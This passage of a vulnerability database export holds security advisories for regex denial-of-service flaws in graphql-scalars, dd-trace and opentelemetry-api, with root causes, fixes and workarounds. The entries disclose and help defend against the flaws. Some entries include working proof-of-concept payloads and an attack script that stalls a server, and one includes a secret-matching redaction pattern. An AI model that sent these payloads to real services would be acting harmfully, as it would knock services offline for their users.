"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-28T21:13:10Z",
"nvd_published_at": "2026-10-23T22:16:58Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe regular expression behind `GraphQLPhoneNumber` since 1.24.1 backtracks exponentially. A string made of a run of digits followed by one character that makes the match fail (for example `\"1\".repeat(30) + \"x\"`) blocks the JavaScript thread for seconds, and every additional digit doubles the time.\n\ngraphql-js calls `parseLiteral` while *validating* a document and `parseValue` while coercing variables, so the regex runs for every request that merely contains such a value in a `PhoneNumber` position, before execution and before any authentication or authorization step of the server. One small unauthenticated request is enough to stall a server process.\n\n## Affected versions\n\n- `graphql-scalars` \u003e= 1.24.1, \u003c= 2.0.0 (2.0.0 is the current `latest`; the default branch still has the same pattern).\n- Not affected: 1.24.0 and the earlier versions I checked (1.22.4, 1.23.0), which use the linear `/^\\+[1-9]\\d{6,14}$/`.\n- Introduced by #2719 (c7f58da16, \"PhoneNumber scalar is not fully compatible with E.164 format so updated regex to support phone number with extension\"), released as 1.24.1 on 2025-01-29.\n\nThe payload was ran against 1.22.4, 1.23.0, 1.24.0, 1.24.1, 1.24.2, 1.25.0, 1.26.0 and 2.0.0: the first three reject it instantly, the other five show the exponential growth.\n\n## Root cause\n\n`src/scalars/PhoneNumber.ts`:\n\n```js\nconst PHONE_NUMBER_REGEX = /^\\+?\\d{1,3}(\\-|\\x20)?\\(?\\d+\\)?((\\-|\\x20)?\\d+)+$/;\n```\n\nIn `\\d+\\)?((\\-|\\x20)?\\d+)+$` the separator is optional, so a run of n digits can be split across the inner `\\d+` and the outer `+` iterations in a number of ways that is exponential in n. When the overall match fails, for instance on a trailing non-digit, the engine tries all of them.\n\n## Proof of concept\n\n1. The scalar alone (`npm i graphql graphql-scalars@2.0.0`):\n\n```js\nimport { GraphQLPhoneNumber } from \u0027graphql-scalars\u0027;\n\nfor (const ok of [\u0027+41791234567\u0027, \u0027079 123 45 67\u0027, \u0027+1 (123) 456-7890\u0027, \u0027nope\u0027]) {\n try { GraphQLPhoneNumber.parseValue(ok); } catch {}\n}\nfor (const digits of [24, 26, 28, 30]) {\n const start = performance.now();\n try { GraphQLPhoneNumber.parseValue(\u00271\u0027.repeat(digits) + \u0027x\u0027); } catch {}\n console.log(`${digits} digits: ${((performance.now() - start) / 1000).toFixed(2)} s`);\n}\n```\n\nMeasured warm, i.e. after ordinary inputs have been validated like in a running server:\n\n| digits | Node 22.19.0 | Node 26.10.0 |\n|-------:|-------------:|-------------:|\n| 24 | 0.10 s | 0.07 s |\n| 26 | 0.41 s | 0.29 s |\n| 28 | 1.63 s | 1.14 s |\n| 30 | 6.59 s | 4.62 s |\n\nThe time doubles with every digit. The first execution of the regex in a fresh process is about 5x slower because V8 interprets a regexp on its first run (Node 22.19.0, 28 digits: 7.8 s).\n\n2. Through graphql-js, no server and no authentication: a schema with a single `echo(phone: PhoneNumber)` field, 26 digits + `x`, Node 22.19.0, warm:\n\n| | literal (`parseLiteral`, validation) | variable (`parseValue`, coercion) |\n|---|---:|---:|\n| graphql 16.14.2 | 0.41 s | 0.43 s |\n| graphql 17.0.2 | 0.41 s | 0.83 s (evaluated twice) |\n\n3. Also reproduced end to end against a GraphQL Yoga server: an anonymous HTTP request with a 27-digit value plus one invalid character stalled the whole process (a concurrent trivial `{ __typename }` request waited as long). A mutation that requires authentication was affected equally when called anonymously, because document validation runs before any authorization in resolvers or context.\n\n## Impact\n\nDenial of service. Any GraphQL server that exposes `PhoneNumber` on an argument, an input object field or a variable can be stalled by a request of about 30 characters; roughly 40 characters would keep a process busy for hours (extrapolated from the doubling, not measured). `serialize` uses the same regex, so unvalidated stored values returned through a `PhoneNumber` field are affected too. The actual severity depends on the scalar being applied to untrusted input, which is the typical case.\n\n## Suggested fix\n\nAn equivalent pattern without ambiguous splits:\n\n```js\nconst PHONE_NUMBER_REGEX = /^\\+?\\d{1,3}[- ]?\\(?\\d(?:\\d*\\))?(?:[- ]?\\d)+$/;\n```\n\nIt accepts exactly the same strings as the current one, so there is no behaviour change: with `N = (S?\\d+)+ = (S?\\d)+` a digit run is just repeated single-digit iterations, hence `\\d+\\)?N = \\d(\\d*\\))?N`. Verification:\n\n- exhaustive comparison of old and new pattern on every string up to length 9 over `1 + - space ( ) x`: 47,079,208 strings (1,832 accepted), 0 differences;\n- every sequence of up to 6 tokens from `1 11 111 1111 11111 + - space ( ) x`: 1,948,717 strings (100,380 accepted), 0 differences;\n- adversarial inputs (digit runs plus a failing character, digit/space and digit/dash alternations, parenthesis variants) scale linearly: 1,000,000 characters take about 10 ms, where the current pattern needs 0.3 s for 26.\n\nOptionally also reject values above a sane length before matching; the grammar currently has no upper bound and E.164 allows at most 15 digits. Above roughly 10 million characters V8 aborts the match with a `RangeError` (stack) after about 25 ms instead of returning false.\n\nA regression test that fails with the current implementation: `GraphQLPhoneNumber.parseValue(\u00271\u0027.repeat(40) + \u0027x\u0027)` must throw its validation error immediately; with the current pattern it does not return in any reasonable time.\n\n## Workarounds for users until a fix is released\n\n- Replace the scalar in the schema with one that uses the pattern above.\n- Run Node with `--enable-experimental-regexp-engine-on-excessive-backtracks`, or call `v8.setFlagsFromString(\u0027--enable-experimental-regexp-engine-on-excessive-backtracks\u0027)` before the regex first runs. V8 then falls back to its linear-time engine after excessive backtracking; verified on Node 22.19, 24.15 and 26.10. The flag is not accepted in `NODE_OPTIONS`.\n- Pinning `graphql-scalars` to \u003c= 1.24.0 restores a linear pattern but changes which values are accepted (only `+` prefixed E.164).\n\n## Coordination\n\nWe have not disclosed this publicly. We maintain Unchained Engine (`@unchainedshop/api`), a downstream project that exposes this scalar on public input fields and will need to ship a mitigation of its own, so we would like to coordinate the timing of any public disclosure with you. Please let us know your preferred timeline, and whether you would like us to prepare a pull request (we can work in a temporary private fork if you enable one).",
"id": "GHSA-x8rm-f576-gq67",
"modified": "2026-10-30T15:36:51Z",
"published": "2026-10-28T21:13:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/graphql-hive/graphql-scalars/security/advisories/GHSA-x8rm-f576-gq67"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-115887"
},
{
"type": "WEB",
"url": "https://github.com/graphql-hive/graphql-scalars/pull/2719"
},
{
"type": "WEB",
"url": "https://github.com/graphql-hive/graphql-scalars/commit/210fd2485641afa2452800c00144245c74361701"
},
{
"type": "PACKAGE",
"url": "https://github.com/graphql-hive/graphql-scalars"
},
{
"type": "WEB",
"url": "https://github.com/graphql-hive/graphql-scalars/releases/tag/v2.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "graphql-scalars PhoneNumber scalar is vulnerable to regular expression denial of service"
}
GHSA-X94G-W73Q-HPCW
Vulnerability from github – Published: 2026-10-27 21:07 – Updated: 2026-10-27 21:07Summary
A regular expression used to obfuscate URL query strings can consume excessive CPU when processing certain attacker-controlled input. This can stall request processing and cause denial of service in applications using affected HTTP tracing integrations.
Details
The default query-string obfuscation pattern can exhibit excessive backtracking. The pattern is applied synchronously when recording HTTP URL metadata, allowing query-string processing to occupy application resources for an extended period.
As a workaround, set DD_TRACE_OBFUSCATION_QUERY_STRING_REGEXP to the fixed regex below, then restart the application.
DD_TRACE_OBFUSCATION_QUERY_STRING_REGEXP='(?:(?:"|%22)?)(?:(?:old[-_]?|new[-_]?)?p(?:ass)?w(?:or)?d(?:1|2)?|pass(?:[-_]?phrase)?|secret|(?:api[-_]?|private[-_]?|public[-_]?|access[-_]?|secret[-_]?|app(?:lication)?[-_]?)key(?:[-_]?id)?|token|consumer[-_]?(?:id|key|secret)|sign(?:ed|ature)?|auth(?:entication|orization)?)(?:(?:\s|%20)*(?:=|%3D)[^&]+|(?:"|%22)(?:\s|%20)*(?::|%3A)(?:\s|%20)*(?:"|%22)(?:%2[^2]|%[^2]|[^"%])+(?:"|%22))|(?:bearer(?:\s|%20)+[a-z0-9._\-]+|token(?::|%3A)[a-z0-9]{13}|gh[opsu]_[0-9a-zA-Z]{36}|(?:(?<![\w-])|(?<=%[0-9a-f]{2}))ey[I-L][\w-]+(?:=|%3D)*\.ey[I-L][\w-]+(?:=|%3D)*(?:\.(?:[\w.+/=-]|%3D|%2F|%2B)+)?|-{5}BEGIN(?:[a-z\s]|%20)+PRIVATE(?:\s|%20)KEY-{5}[^\-]+-{5}END(?:[a-z\s]|%20)+PRIVATE(?:\s|%20)KEY(?:-{5})?(?:\n|%0A)?|(?:ssh-(?:rsa|dss)|ecdsa-[a-z0-9]+-[a-z0-9]+)(?:\s|%20|%09)+(?:[a-z0-9/.+]|%2F|%5C|%2B){100,}(?:=|%3D)*(?:(?:\s|%20|%09)+[a-z0-9._-]+)?)'
Proof of concept
Detailed triggering inputs and reproduction steps are omitted from this advisory. The patched version includes regression coverage for the affected behavior.
Impact
Regular expression denial of service (ReDoS) affecting applications that process attacker-controlled URL query strings through the vulnerable obfuscation pattern. Successful exploitation can cause excessive CPU consumption, prolonged request latency, and service unavailability.
The vulnerable processing is enabled by default for affected HTTP integrations that include query strings in URL span tags.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "dd-trace"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "5.131.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "dd-trace"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.20.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-116693"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-27T21:07:25Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA regular expression used to obfuscate URL query strings can consume excessive CPU when processing certain attacker-controlled input. This can stall request processing and cause denial of service in applications using affected HTTP tracing integrations.\n\n### Details\n\nThe default query-string obfuscation pattern can exhibit excessive backtracking. The pattern is applied synchronously when recording HTTP URL metadata, allowing query-string processing to occupy application resources for an extended period.\n\nAs a workaround, set DD_TRACE_OBFUSCATION_QUERY_STRING_REGEXP to the fixed regex below, then restart the application.\n\n```\nDD_TRACE_OBFUSCATION_QUERY_STRING_REGEXP=\u0027(?:(?:\"|%22)?)(?:(?:old[-_]?|new[-_]?)?p(?:ass)?w(?:or)?d(?:1|2)?|pass(?:[-_]?phrase)?|secret|(?:api[-_]?|private[-_]?|public[-_]?|access[-_]?|secret[-_]?|app(?:lication)?[-_]?)key(?:[-_]?id)?|token|consumer[-_]?(?:id|key|secret)|sign(?:ed|ature)?|auth(?:entication|orization)?)(?:(?:\\s|%20)*(?:=|%3D)[^\u0026]+|(?:\"|%22)(?:\\s|%20)*(?::|%3A)(?:\\s|%20)*(?:\"|%22)(?:%2[^2]|%[^2]|[^\"%])+(?:\"|%22))|(?:bearer(?:\\s|%20)+[a-z0-9._\\-]+|token(?::|%3A)[a-z0-9]{13}|gh[opsu]_[0-9a-zA-Z]{36}|(?:(?\u003c![\\w-])|(?\u003c=%[0-9a-f]{2}))ey[I-L][\\w-]+(?:=|%3D)*\\.ey[I-L][\\w-]+(?:=|%3D)*(?:\\.(?:[\\w.+/=-]|%3D|%2F|%2B)+)?|-{5}BEGIN(?:[a-z\\s]|%20)+PRIVATE(?:\\s|%20)KEY-{5}[^\\-]+-{5}END(?:[a-z\\s]|%20)+PRIVATE(?:\\s|%20)KEY(?:-{5})?(?:\\n|%0A)?|(?:ssh-(?:rsa|dss)|ecdsa-[a-z0-9]+-[a-z0-9]+)(?:\\s|%20|%09)+(?:[a-z0-9/.+]|%2F|%5C|%2B){100,}(?:=|%3D)*(?:(?:\\s|%20|%09)+[a-z0-9._-]+)?)\u0027\n```\n\n### Proof of concept\n\nDetailed triggering inputs and reproduction steps are omitted from this advisory. The patched version includes regression coverage for the affected behavior.\n\n### Impact\n\nRegular expression denial of service (ReDoS) affecting applications that process attacker-controlled URL query strings through the vulnerable obfuscation pattern. Successful exploitation can cause excessive CPU consumption, prolonged request latency, and service unavailability.\n\nThe vulnerable processing is enabled by default for affected HTTP integrations that include query strings in URL span tags.",
"id": "GHSA-x94g-w73q-hpcw",
"modified": "2026-10-27T21:07:25Z",
"published": "2026-10-27T21:07:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/DataDog/dd-trace-js/security/advisories/GHSA-x94g-w73q-hpcw"
},
{
"type": "WEB",
"url": "https://github.com/DataDog/dd-trace-js/pull/10675"
},
{
"type": "WEB",
"url": "https://github.com/DataDog/dd-trace-js/commit/5eeee790c93036a50549056fc890028cb4c86b1b"
},
{
"type": "WEB",
"url": "https://github.com/DataDog/dd-trace-js/commit/cf4e68a45fa1442c9850f2086c81901258e821b8"
},
{
"type": "PACKAGE",
"url": "https://github.com/DataDog/dd-trace-js"
},
{
"type": "WEB",
"url": "https://github.com/DataDog/dd-trace-js/releases/tag/v5.131.1"
},
{
"type": "WEB",
"url": "https://github.com/DataDog/dd-trace-js/releases/tag/v6.20.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "dd-trace: ReDOS in URL query string obfuscation"
}
GHSA-XCQ7-P3PF-P88H
Vulnerability from github – Published: 2026-10-22 16:22 – Updated: 2026-10-22 16:22Summary
TraceState.from_header splits the inbound W3C tracestate header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N²) CPU. A single unauthenticated request with a ~100 KB tracestate keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time.
Affected component / version
- Package:
opentelemetry-api(pip) —opentelemetry/trace/span.py(TraceState.from_header), reached fromopentelemetry/trace/propagation/tracecontext.py(TraceContextTextMapPropagator.extract). - Confirmed in
main(5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021). Not exhaustively verified against every release in between. - Reachable with the default propagators (
OTEL_PROPAGATORSdefaults totracecontext,baggage) from any server instrumentation that callspropagate.extract(), for exampleopentelemetry-instrumentation-asgi.
Details
- The header reaches the parser without any length check:
# opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57
tracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # <-- attacker-controlled request header(s), any size
if tracestate_headers is None:
tracestate = None
else:
tracestate = TraceState.from_header(tracestate_headers) # <-- no length check before parsing (line 61)
- The split pattern and the parser:
# opentelemetry-api/src/opentelemetry/trace/span.py:45
_TRACECONTEXT_MAXIMUM_TRACESTATE_KEYS = 32 # <-- only enforced later, in TraceState.__init__, after the split
_delimiter_pattern = re.compile(r"[ \t]*,[ \t]*") # <-- (line 46) starts with an unbounded [ \t]*
# span.py:382
@classmethod
def from_header(cls, header_list: list[str]) -> TraceState:
pairs = {} # type: dict[str, str]
for header in header_list:
members: list[str] = re.split(_delimiter_pattern, header) # <-- (line 400) VULNERABLE: O(N^2) on "a=b" + " " * N + "x"
for member in members:
if not member:
continue
match = _member_pattern.fullmatch(member)
if not match:
_logger.warning( # <-- also logs the entire malformed member (up to the whole header)
"Member doesn't match the w3c identifiers format %s",
member,
)
return cls()
...
re.split tries the pattern at every offset. At each offset inside a whitespace run, [ \t]* consumes the rest of the run, finds no ,, backtracks and fails, then the engine moves one character forward and repeats. N characters × up to N steps each = O(N²). The 32-member limit never gets a chance to run because split has to finish first.
- The sibling propagator already has the missing guard:
# baggage/propagation/__init__.py:68
_MAX_HEADER_LENGTH = 8192
...
if len(header.encode()) > self._MAX_HEADER_LENGTH: # <-- (line 93) rejected before any regex runs; tracestate has no equivalent
_logger.warning(...)
return context
A 16 KiB header costs ≈ 0.25 s and an 8 KiB header ≈ 0.07 s.
Measured cost of extract() on one core (valid traceparent, tracestate: "a=b" + N spaces + "x"): the time quadruples each time N doubles (see the proof of concept). Roughly 0.06 s at 10,000 characters, 1 s at 40,000, 4 s at 80,000, 9 s at 100,000 (tabs are about 1.6× slower).
Whether a server lets such a header through (header-size limits, tested): gunicorn rejects ≥ 8190 bytes (response code 431); uvicorn --http h11 rejects above 16 KiB (400); waitress accepts up to 256 KiB (200 KB accepted, 300 KB rejected); uvicorn --http httptools — the default parser with uvicorn[standard] — accepted 300 KB, 1 MB, 5 MB and 20 MB tracestate headers.
Proof of concept
A. Show the quadratic cost (no server needed)
- Install the API:
pip install opentelemetry-api(any version from 1.0 up to the current main is affected). - Save as
poc_tracestate.py:
import logging
import time
from opentelemetry.trace.propagation.tracecontext import TraceContextTextMapPropagator
# The library logs the whole malformed member at WARNING; silence it so the timings stay readable.
logging.disable(logging.CRITICAL)
TRACEPARENT = "00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01"
propagator = TraceContextTextMapPropagator()
previous = None
for n in (10_000, 20_000, 40_000, 80_000):
# N spaces after a valid member, no comma anywhere in the header
carrier = {"traceparent": TRACEPARENT, "tracestate": "a=b" + " " * n + "x"}
start = time.perf_counter()
propagator.extract(carrier)
elapsed = time.perf_counter() - start
growth = f"x{elapsed / previous:.1f}" if previous else "-"
print(f"{n:>7} characters {elapsed:6.2f} s growth when size doubles: {growth}")
previous = elapsed
- Run
python poc_tracestate.py. - What to observe: the time grows by about ×4 every time the input size doubles (a linear parser would show ×2). Absolute numbers depend on the CPU; the growth factor does not. Our run:
10000 characters 0.06 s growth when size doubles: -
20000 characters 0.26 s growth when size doubles: x4.0
40000 characters 1.04 s growth when size doubles: x4.0
80000 characters 4.13 s growth when size doubles: x4.0
Replace " " with "\t" to see ≈1.6× longer.
B. Show that one request stalls a real server
This uses OpenTelemetryMiddleware from opentelemetry-instrumentation-asgi around a trivial ASGI app and the default uvicorn[standard] parser (httptools).
- Install:
pip install opentelemetry-api opentelemetry-instrumentation-asgi "uvicorn[standard]". - Save as
app.py:
from opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware
async def app(scope, receive, send):
await send({"type": "http.response.start", "status": 200, "headers": [(b"content-type", b"text/plain")]})
await send({"type": "http.response.body", "body": b"ok"})
app = OpenTelemetryMiddleware(app)
- Start the server in one terminal:
uvicorn app:app --host 127.0.0.1 --port 8000 --http httptools - Save as
attack.py:
"""Send one oversized tracestate request and, while it is being handled,
measure how long an unrelated request to the same server has to wait."""
import socket
import sys
import threading
import time
HOST, PORT = "127.0.0.1", 8000
N = int(sys.argv[1]) if len(sys.argv) > 1 else 100_000
TRACEPARENT = "00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01"
def get(path, extra=""):
s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(f"GET {path} HTTP/1.1\r\nHost: x\r\nConnection: close\r\n{extra}\r\n".encode())
start, data = time.perf_counter(), b""
while chunk := s.recv(65536):
data += chunk
return time.perf_counter() - start, data.split(b"\r\n")[0].decode()
result = {}
extra = f"traceparent: {TRACEPARENT}\r\ntracestate: a=b{' ' * N}x\r\n"
attacker = threading.Thread(target=lambda: result.update(a=get("/attack", extra)))
print("idle /ping: %.3f s %s" % get("/ping"))
attacker.start()
time.sleep(0.5) # let the attack request reach the server first
print("/ping during the attack: %.3f s %s" % get("/ping"))
attacker.join()
print("attack request itself: %.3f s %s" % result["a"])
- In a second terminal run
python attack.py 100000. - What to observe: the idle
/pinganswers in milliseconds, but a/pingsent half a second after the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run:
idle /ping: 0.000 s HTTP/1.1 200 OK
/ping during the attack: 5.909 s HTTP/1.1 200 OK <-- unrelated request delayed ~6 s (event loop blocked)
attack request itself: 6.408 s HTTP/1.1 200 OK
- Start the server with
--http h11instead and run the same command: the attack request is rejected immediately (400 Bad Request, h11 header cap) and/pingis not delayed. Our measurements for--http httptools: 30,000 spaces → 0.59 s; 100,000 spaces → 6.57 s with the concurrent/pingdelayed 6.07 s; 100,000 tabs → 12.39 s with the concurrent/pingdelayed 11.89 s.
Severity
Likelihood: Low. Any unauthenticated client can trigger it with one request on the default propagators, but only on servers that accept headers larger than roughly 16–30 KB.
Impact: Medium. One request of about 100 KB costs 6–12 s of server CPU and, under an asyncio server, stalls every other connection for that time; repeating it keeps the service unavailable.
Severity: Medium.
Suggested remediation
Replace the regex split with a plain split and strip; this removes the quadratic behaviour and is equivalent on valid input:
--- a/opentelemetry-api/src/opentelemetry/trace/span.py
+++ b/opentelemetry-api/src/opentelemetry/trace/span.py
@@ def from_header(cls, header_list: list[str]) -> TraceState:
for header in header_list:
- members: list[str] = re.split(_delimiter_pattern, header)
+ members: list[str] = [m.strip(" \t") for m in header.split(",")]
_delimiter_pattern (line 46) is then unused and can be removed. We also suggest rejecting a header longer than the W3C limit (512 characters for the list) before parsing, the way the baggage propagator does with _MAX_HEADER_LENGTH. On valid input the two forms return identical members (empty members preserved); the only behaviour change is that a header with leading whitespace is now accepted instead of producing an empty TraceState, which is more spec-compliant. Cost at N = 100,000 drops from ~9 s to ~5e-5 s.
Credit
Discovered and reported by SecDim Security Research secdim.com | @secdim | security@secdim.com
FROM MAINTAINERS
Summary
TraceState.from_header() in opentelemetry-api used a regular-expression-based operation whose processing time could grow disproportionately when parsing specially crafted inbound tracestate headers.
Because W3C Trace Context is enabled by default in OpenTelemetry Python, services accepting untrusted propagation headers could spend excessive CPU time processing a single request.
Impact
Services accepting untrusted inbound propagation headers may experience increased per-request CPU usage when processing malformed tracestate values. In synchronous servers, this may keep a worker occupied. In asynchronous servers, CPU-intensive parsing may delay other requests handled by the same event loop.
The practical impact depends on the HTTP server, HTTP parser, and any upstream request-header limits. Common servers and proxies may reject oversized headers before they reach the application, while custom carriers or deployments with increased header limits may accept substantially larger values.
Unlike optional propagation formats, W3C Trace Context is part of the default OpenTelemetry Python propagation configuration.
The impact is limited to availability. This issue does not expose or modify telemetry data and does not allow code execution.
Patches
Versions of opentelemetry-api up to and including 1.45.0 are affected.
Upgrade opentelemetry-api to version 1.45.1 or later.
Version 1.45.1 replaces the affected parsing operation with linear-time processing and discards combined tracestate headers longer than 8,192 characters.
Workarounds
Ensure HTTP header size limits are configured at the server or gateway level. Most Python HTTP servers enforce an 8 KiB header limit by default, which mitigates external attack vectors independently of this fix.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.45.0"
},
"package": {
"ecosystem": "PyPI",
"name": "opentelemetry-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.45.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-114603"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-22T16:22:07Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n`TraceState.from_header` splits the inbound W3C `tracestate` header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N\u00b2) CPU. A single unauthenticated request with a ~100 KB `tracestate` keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time.\n\n## Affected component / version\n- Package: `opentelemetry-api` (pip) \u2014 `opentelemetry/trace/span.py` (`TraceState.from_header`), reached from `opentelemetry/trace/propagation/tracecontext.py` (`TraceContextTextMapPropagator.extract`).\n- Confirmed in `main` (5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021). Not exhaustively verified against every release in between.\n- Reachable with the default propagators (`OTEL_PROPAGATORS` defaults to `tracecontext,baggage`) from any server instrumentation that calls `propagate.extract()`, for example `opentelemetry-instrumentation-asgi`.\n\n## Details\n\n1. The header reaches the parser without any length check:\n\n```python\n# opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57\ntracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # \u003c-- attacker-controlled request header(s), any size\nif tracestate_headers is None:\n tracestate = None\nelse:\n tracestate = TraceState.from_header(tracestate_headers) # \u003c-- no length check before parsing (line 61)\n```\n\n2. The split pattern and the parser:\n```python\n# opentelemetry-api/src/opentelemetry/trace/span.py:45\n_TRACECONTEXT_MAXIMUM_TRACESTATE_KEYS = 32 # \u003c-- only enforced later, in TraceState.__init__, after the split\n_delimiter_pattern = re.compile(r\"[ \\t]*,[ \\t]*\") # \u003c-- (line 46) starts with an unbounded [ \\t]*\n\n# span.py:382\n@classmethod\ndef from_header(cls, header_list: list[str]) -\u003e TraceState:\n pairs = {} # type: dict[str, str]\n for header in header_list:\n members: list[str] = re.split(_delimiter_pattern, header) # \u003c-- (line 400) VULNERABLE: O(N^2) on \"a=b\" + \" \" * N + \"x\"\n for member in members:\n if not member:\n continue\n match = _member_pattern.fullmatch(member)\n if not match:\n _logger.warning( # \u003c-- also logs the entire malformed member (up to the whole header)\n \"Member doesn\u0027t match the w3c identifiers format %s\",\n member,\n )\n return cls()\n ...\n```\n\n`re.split` tries the pattern at every offset. At each offset inside a whitespace run, `[ \\t]*` consumes the rest of the run, finds no `,`, backtracks and fails, then the engine moves one character forward and repeats. N characters \u00d7 up to N steps each = O(N\u00b2). The 32-member limit never gets a chance to run because `split` has to finish first.\n\n3. The sibling propagator already has the missing guard:\n```python\n# baggage/propagation/__init__.py:68\n_MAX_HEADER_LENGTH = 8192\n...\nif len(header.encode()) \u003e self._MAX_HEADER_LENGTH: # \u003c-- (line 93) rejected before any regex runs; tracestate has no equivalent\n _logger.warning(...)\n return context\n```\n\nA 16 KiB header costs \u2248 0.25 s and an 8 KiB header \u2248 0.07 s.\nMeasured cost of `extract()` on one core (valid `traceparent`, `tracestate: \"a=b\" + N spaces + \"x\"`): the time quadruples each time N doubles (see the proof of concept). Roughly 0.06 s at 10,000 characters, 1 s at 40,000, 4 s at 80,000, 9 s at 100,000 (tabs are about 1.6\u00d7 slower). \n\nWhether a server lets such a header through (header-size limits, tested): gunicorn rejects \u2265 8190 bytes (response code 431); `uvicorn --http h11` rejects above 16 KiB (400); waitress accepts up to 256 KiB (200 KB accepted, 300 KB rejected); `uvicorn --http httptools` \u2014 the default parser with `uvicorn[standard]` \u2014 accepted 300 KB, 1 MB, 5 MB and 20 MB `tracestate` headers.\n\n## Proof of concept\n\n### A. Show the quadratic cost (no server needed)\n\n1. Install the API: `pip install opentelemetry-api` (any version from 1.0 up to the current main is affected).\n2. Save as `poc_tracestate.py`:\n```python\nimport logging\nimport time\n\nfrom opentelemetry.trace.propagation.tracecontext import TraceContextTextMapPropagator\n\n# The library logs the whole malformed member at WARNING; silence it so the timings stay readable.\nlogging.disable(logging.CRITICAL)\n\nTRACEPARENT = \"00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01\"\npropagator = TraceContextTextMapPropagator()\n\nprevious = None\nfor n in (10_000, 20_000, 40_000, 80_000):\n # N spaces after a valid member, no comma anywhere in the header\n carrier = {\"traceparent\": TRACEPARENT, \"tracestate\": \"a=b\" + \" \" * n + \"x\"}\n start = time.perf_counter()\n propagator.extract(carrier)\n elapsed = time.perf_counter() - start\n growth = f\"x{elapsed / previous:.1f}\" if previous else \"-\"\n print(f\"{n:\u003e7} characters {elapsed:6.2f} s growth when size doubles: {growth}\")\n previous = elapsed\n```\n3. Run `python poc_tracestate.py`.\n4. **What to observe:** the time grows by about **\u00d74 every time the input size doubles** (a linear parser would show \u00d72). Absolute numbers depend on the CPU; the growth factor does not. Our run:\n```\n 10000 characters 0.06 s growth when size doubles: -\n 20000 characters 0.26 s growth when size doubles: x4.0\n 40000 characters 1.04 s growth when size doubles: x4.0\n 80000 characters 4.13 s growth when size doubles: x4.0\n```\nReplace `\" \"` with `\"\\t\"` to see \u22481.6\u00d7 longer.\n\n### B. Show that one request stalls a real server\nThis uses `OpenTelemetryMiddleware` from `opentelemetry-instrumentation-asgi` around a trivial ASGI app and the default `uvicorn[standard]` parser (httptools).\n\n1. Install: `pip install opentelemetry-api opentelemetry-instrumentation-asgi \"uvicorn[standard]\"`.\n2. Save as `app.py`:\n```python\nfrom opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware\n\n\nasync def app(scope, receive, send):\n await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": [(b\"content-type\", b\"text/plain\")]})\n await send({\"type\": \"http.response.body\", \"body\": b\"ok\"})\n\n\napp = OpenTelemetryMiddleware(app)\n```\n3. Start the server in one terminal: `uvicorn app:app --host 127.0.0.1 --port 8000 --http httptools`\n4. Save as `attack.py`:\n```python\n\"\"\"Send one oversized tracestate request and, while it is being handled,\nmeasure how long an unrelated request to the same server has to wait.\"\"\"\nimport socket\nimport sys\nimport threading\nimport time\n\nHOST, PORT = \"127.0.0.1\", 8000\nN = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 100_000\nTRACEPARENT = \"00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01\"\n\n\ndef get(path, extra=\"\"):\n s = socket.create_connection((HOST, PORT), timeout=120)\n s.sendall(f\"GET {path} HTTP/1.1\\r\\nHost: x\\r\\nConnection: close\\r\\n{extra}\\r\\n\".encode())\n start, data = time.perf_counter(), b\"\"\n while chunk := s.recv(65536):\n data += chunk\n return time.perf_counter() - start, data.split(b\"\\r\\n\")[0].decode()\n\n\nresult = {}\nextra = f\"traceparent: {TRACEPARENT}\\r\\ntracestate: a=b{\u0027 \u0027 * N}x\\r\\n\"\nattacker = threading.Thread(target=lambda: result.update(a=get(\"/attack\", extra)))\nprint(\"idle /ping: %.3f s %s\" 